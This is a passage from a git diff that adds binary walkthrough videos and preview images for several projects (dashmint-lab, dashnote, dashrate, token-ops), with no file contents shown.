a/walkthrough/dashmint-lab/dashmint-lab-walkthrough (Copy).webm b/walkthrough/dashmint-lab/dashmint-lab-walkthrough (Copy).webm new file mode 100644 index 00000000..db634af2 Binary files /dev/null and b/walkthrough/dashmint-lab/dashmint-lab-walkthrough (Copy).webm differ diff --git a/walkthrough/dashmint-lab/dashmint-lab-walkthrough-no-token.webm b/walkthrough/dashmint-lab/dashmint-lab-walkthrough-no-token.webm new file mode 100644 index 00000000..ee9e0577 Binary files /dev/null and b/walkthrough/dashmint-lab/dashmint-lab-walkthrough-no-token.webm differ diff --git a/walkthrough/dashmint-lab/dashmint-lab-walkthrough.webm b/walkthrough/dashmint-lab/dashmint-lab-walkthrough.webm new file mode 100644 index 00000000..6e48b2da Binary files /dev/null and b/walkthrough/dashmint-lab/dashmint-lab-walkthrough.webm differ diff --git a/walkthrough/dashnote-starter/dashnote-starter-preview.png b/walkthrough/dashnote-starter/dashnote-starter-preview.png new file mode 100644 index 00000000..f3f787de Binary files /dev/null and b/walkthrough/dashnote-starter/dashnote-starter-preview.png differ diff --git a/walkthrough/dashnote-starter/dashnote-starter-walkthrough.webm b/walkthrough/dashnote-starter/dashnote-starter-walkthrough.webm new file mode 100644 index 00000000..04622515 Binary files /dev/null and b/walkthrough/dashnote-starter/dashnote-starter-walkthrough.webm differ diff --git a/walkthrough/dashnote/dashnote-walkthrough (copy).webm b/walkthrough/dashnote/dashnote-walkthrough (copy).webm new file mode 100644 index 00000000..ecf3eee2 Binary files /dev/null and b/walkthrough/dashnote/dashnote-walkthrough (copy).webm differ diff --git a/walkthrough/dashrate/dashrate-preview.png b/walkthrough/dashrate/dashrate-preview.png new file mode 100644 index 00000000..5b66d8cf Binary files /dev/null and b/walkthrough/dashrate/dashrate-preview.png differ diff --git a/walkthrough/dashrate/dashrate-walkthrough.webm b/walkthrough/dashrate/dashrate-walkthrough.webm new file mode 100644 index 00000000..4b53eae5 Binary files /dev/null and b/walkthrough/dashrate/dashrate-walkthrough.webm differ diff --git a/walkthrough/token-ops/token-ops-preview.png b/walkthrough/token-ops/token-ops-preview.png new file mode 100644 index 00000000..091696b1 Binary files /dev/null and b/walkthrough/token-ops/token-ops-preview.png differ diff --git a/walkthrough/token-ops/token-ops-walkthrough.webm b/walkthrough/token-ops/token-ops-walkthrough.webm new file mode 100644 index 00000000..f40b2bdc Binary files /dev/null and b/walkthrough/token-ops/token-ops-walkthrough.webm differ